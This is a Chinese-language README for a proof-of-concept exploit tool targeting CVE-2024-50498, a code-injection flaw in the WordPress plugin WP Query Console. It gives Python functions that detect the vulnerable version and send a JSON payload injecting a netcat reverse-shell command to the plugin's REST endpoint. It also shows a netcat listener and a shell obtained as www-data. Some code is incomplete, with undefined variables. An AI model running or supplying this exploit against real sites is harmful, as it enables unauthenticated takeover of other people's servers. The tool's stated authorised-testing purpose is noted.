WP Query Console 代码注入漏洞检测与利用工具

3 阅读3分钟

WP Query Console 漏洞检测与利用工具

本项目提供了一个针对 WordPress 插件 WP Query Console(版本 1.0 及以下)中存在的严重代码注入漏洞(CVE-2024-50498)的概念验证(PoC)脚本。该漏洞允许未经身份验证的攻击者在受影响的 WordPress 站点上执行任意系统命令,从而导致网站完全被接管。

⚠️ 重要提示:本工具仅用于授权的安全测试和教育目的。未经授权使用本工具攻击他人系统属于违法行为。

功能特性

  • 漏洞检测:自动检测目标站点是否安装并启用了存在漏洞的 WP Query Console 插件版本 1.0。
  • 远程命令执行:通过构建自定义载荷,利用 system() 函数在目标服务器上执行任意系统命令。
  • 反向 Shell 获取:自动生成反向 Shell 载荷,将目标服务器的 Bash Shell 反弹到攻击者指定的 IP 和端口。
  • 简单易用:提供清晰的命令行参数接口,一键完成从检测到利用的全流程。
  • 教育目的:帮助安全研究人员和安全团队理解该漏洞的原理与危害,提升防护能力。

安装指南

系统要求

  • Python 3.6 或更高版本
  • requests

安装步骤

  1. 克隆或下载本项目代码文件(CVE-2024-50498.py)到本地。

  2. 安装 Python 依赖库:

pip install requests
  1. (可选)验证安装:
python CVE-2024-50498.py -h

如果显示帮助信息,说明安装成功。

使用说明

基础用法

python CVE-2024-50498.py -u <目标URL> -ip <监听IP> -P <监听端口>

参数说明

参数简写必需描述
--url-u目标 WordPress 站点的 URL(例如 http://example.com/wordpress
--listener_ip-ip用于接收反向 Shell 连接的本地 IP 地址
--port-P用于接收反向 Shell 连接的本地端口

典型使用场景

场景:获取存在漏洞的 WordPress 站点的 Shell 访问

  1. 启动 Netcat 监听器(在攻击者机器上):
nc -lvnp 4444
  1. 运行漏洞利用脚本
python CVE-2024-50498.py -u http://vulnerable-site.com -ip 192.168.1.100 -P 4444
  1. 观察输出
[+] The site is vulnerable! Plugin version is 1.0.
[+] Exploit executed successfully!
Response: 
{"success":true}
  1. 返回 Netcat 终端:您将获得目标服务器的交互式 Bash Shell。
connect to [192.168.1.100] from (UNKNOWN) [10.0.0.5] 54321
whoami
www-data
pwd
/var/www/html

API 概览

本工具提供三个核心函数:

  • check_url(target_url):检测目标是否存在漏洞。
  • payload(listener_ip, listener_port):生成反向 Shell 载荷数据。
  • exploit(target_url, payload):向目标发送执行载荷的 HTTP 请求。

核心代码

漏洞检测模块

def check_url(target_url):
    if not target_url.startswith("http://") and not target_url.startswith("https://"):
        target_url = "http://" + target_url


    try:
        response = requests.get(check_version, timeout=30)
        if response.status_code == 200 and "Stable tag: 1.0" in response.text:
            print("[+] The site is vulnerable! Plugin version is 1.0.")
            return True
        else:
            print("[-] The site does not appear to be vulnerable.")
            return False
    except requests.exceptions.RequestException as e:
        print(f"[-] Error while checking the URL: {e}")
        return False

载荷生成模块

该函数构建一个包含系统命令的 JSON 载荷,利用 system('nc <IP> <PORT> -e /bin/bash') 执行反向 Shell 命令。

def payload(listener_ip, listener_port):
    command = f"nc {listener_ip} {listener_port} -e /bin/bash"
    data = {
        "queryArgs": f"system('{command}')",
        "queryType": "WP_Query"
    }
    return data

漏洞利用模块

该函数向 WordPress REST API 端点 /wp-json/wqc/v1/query 发送 POST 请求,携带恶意载荷,触发代码执行。

def exploit(target_url, payload):
    if not target_url.startswith("http://") and not target_url.startswith("https://"):
        target_url = "http://" + target_url

    endpoint = "/wp-json/wqc/v1/query"
    url = f"{target_url}{endpoint}"
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
    }

    try:
        response = requests.post(url, json=payload, headers=headers, timeout=30)
        if response.status_code == 200:
            print("[+] Exploit executed successfully!")
            print("Response:")
            print(response.text)
        else:
            print(f"[-] Exploit failed. Status code: {response.status_code}")
            print("Response:")
            print(response.text)
    except requests.exceptions.RequestException as e:
        print(f"[-] Error while executing the exploit: {e}")

主控制流程

整合检测、载荷生成和利用步骤,提供命令行参数解析功能。

def main():

    parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://example.com/wordpress)")
    parser.add_argument("-ip", "--listener_ip", required=True, help="Your IP address for listening.")
    parser.add_argument("-P", "--port", required=True, help="Your listening port.")

    args = parser.parse_args()

    if check_url(args.url):
        data = payload(args.listener_ip, args.port)
        exploit(args.url, data)
    else:
        print("[-] Target is not vulnerable. Exiting.")

6HFtX5dABrKlqXeO5PUv/3Nta6w4VaOCq80w5wwAu6k=